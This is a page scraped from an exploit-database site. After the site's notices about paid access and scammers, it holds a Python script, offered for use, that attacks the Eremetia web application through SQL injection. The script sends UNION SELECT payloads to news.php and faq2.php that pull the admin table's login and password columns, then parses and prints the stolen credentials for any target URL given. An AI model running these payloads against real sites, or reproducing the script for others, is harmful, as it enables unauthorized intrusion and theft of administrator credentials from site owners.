0day.today - Biggest Exploit Database in the World.
![](/img/logo_green.jpg)
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earnGOLD
Administration of this site uses the official contacts. Beware of impostors!
![We DO NOT use Telegram or any messengers / social networks!](/img/no_telegram_big.png)
Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Eremetia (news.php & faq2.php id) SQL Injection Exploit (.py)
============================================================= Eremetia (news.php & faq2.php id) SQL Injection Exploit (.py) ============================================================= #!/usr/bin/env python #-*- coding:cp1254 -*- # Eremetia (news.php & faq2.php id) SQL Injection Exploit (.py) # Author ZoRLu # Exploit Coded By ZoRLu / Date: 02/08/2010 # Found The_Exploited / Date: 29/04/2010 # Orijinal Link http://inj3ct0r.com/exploits/12059 # Tested on my vista proof: http://img251.imageshack.us/img251/4673/eremetia.jpg # Home: z0rlu.blogspot.com # Home: imhatimi.org # Thanks: inj3ct0r.com, r0073r, Dr.Ly0n, LifeSteaLeR, Heart_Hunter, Cyber-Zone, Stack, AlpHaNiX, ThE g0bL!N and all Friends import sys, urllib2, re, os, time if len(sys.argv) < 2: os.system('cls') os.system('clear') os.system('color 2') print "_______________________________________________________________" print " " print " Eremetia (id) SQL Inj Exploit (.py) " print " " print " coded by ZoRLu " print " " print " Usage: " print " " print " python exploit.py http://site.com/path/ " print " " print "_______________________________________________________________" sys.exit(1) add = "http://" add2 = "/" sitemiz = sys.argv[1] if sitemiz[-1:] != add2: print "\nwhere is it: " + add2 print "okk I will add" time.sleep(2) sitemiz += add2 print "its ok" + " " + sitemiz if sitemiz[:7] != add: print "\nwhere is it: " + add print "okk I will add" time.sleep(2) sitemiz = add + sitemiz print "its ok" + " " + sitemiz vulnfile = "news.php" sql = "?id=000000000+union+select+1,2,concat(0x3a3a3a,login,0x3a3a,senha,0x3a3a3a),4,5+from+admin" url = sitemiz + vulnfile + sql vulnfile2 = "faq2.php" sql2 = "?id=000000000+union+select+1,2,concat(0x3a3a3a,login,0x3a3a,senha,0x3a3a3a),4+from+admin" url2 = sitemiz + vulnfile2 + sql2 print "\nvulnfile:"+vulnfile print "column_number: 5" print "sql: "+sql print "\nExploiting...\n" print "wait three sec.!\n" time.sleep(3) try: veri = urllib2.urlopen(url).read() aliver = re.findall(r":::(.*)([0-9a-fA-F])(.*):::", veri) if len(aliver) > 0: print "login::password: " + aliver[0][0]+ aliver[0][1] print "\n" + vulnfile + " ok!" print "wait for other file" time.sleep(2) else: print "Exploit failed..." except urllib2.HTTPError: print "Forbidden Sorry! Server has a Security!" print "\nvulnfile:"+vulnfile2 print "column_number: 4" print "sql: "+sql2 print "\nExploiting...\n" print "wait three sec.!\n" time.sleep(3) try: veri = urllib2.urlopen(url2).read() aliver = re.findall(r":::(.*)([0-9a-fA-F])(.*):::", veri) if len(aliver) > 0: print "login::password: " + aliver[0][0]+ aliver[0][1] print "\nGood Job Bro!" print "we searched for " + vulnfile + " and " + vulnfile2 else: print "Exploit failed..." except urllib2.HTTPError: print "Forbidden Sorry! Server has a Security!" # 0day.today [2024-07-02] #